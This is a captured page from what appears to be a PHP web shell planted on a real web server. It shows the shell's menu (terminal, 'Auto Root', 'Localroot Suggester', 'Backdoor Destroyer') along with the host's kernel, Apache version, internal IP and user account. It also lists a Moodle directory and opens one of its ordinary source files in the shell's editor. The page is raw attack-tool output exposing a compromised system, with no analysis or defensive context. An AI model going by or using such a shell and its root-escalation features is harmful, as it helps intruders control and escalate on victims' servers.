Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
webservice /
Delete
Unzip
Name
Size
Permission
Date
Action
rest
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
soap
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
tests
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
xmlrpc
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
externallib.php
12.69
KB
-rw-r--r--
2017-06-22 14:57
lib.php
65.31
KB
-rw-r--r--
2017-06-22 14:57
pluginfile.php
1.82
KB
-rw-r--r--
2017-06-22 14:57
renderer.php
38.67
KB
-rw-r--r--
2017-06-22 14:57
upgrade.txt
5.48
KB
-rw-r--r--
2017-06-22 14:57
upload.php
5.83
KB
-rw-r--r--
2017-06-22 14:57
wsdoc.php
3.09
KB
-rw-r--r--
2017-06-22 14:57
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * A script to serve files from web service client * * @package core_webservice * @copyright 2011 Dongsheng Cai <dongsheng@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * AJAX_SCRIPT - exception will be converted into JSON */ define('AJAX_SCRIPT', true); /** * NO_MOODLE_COOKIES - we don't want any cookie */ define('NO_MOODLE_COOKIES', true); require_once(__DIR__ . '/../config.php'); require_once($CFG->libdir . '/filelib.php'); require_once($CFG->dirroot . '/webservice/lib.php'); // Allow CORS requests. header('Access-Control-Allow-Origin: *'); //authenticate the user $token = required_param('token', PARAM_ALPHANUM); $webservicelib = new webservice(); $authenticationinfo = $webservicelib->authenticate_user($token); //check the service allows file download $enabledfiledownload = (int) ($authenticationinfo['service']->downloadfiles); if (empty($enabledfiledownload)) { throw new webservice_access_exception('Web service file downloading must be enabled in external service settings'); } //finally we can serve the file :) $relativepath = get_file_argument(); file_pluginfile($relativepath, 0);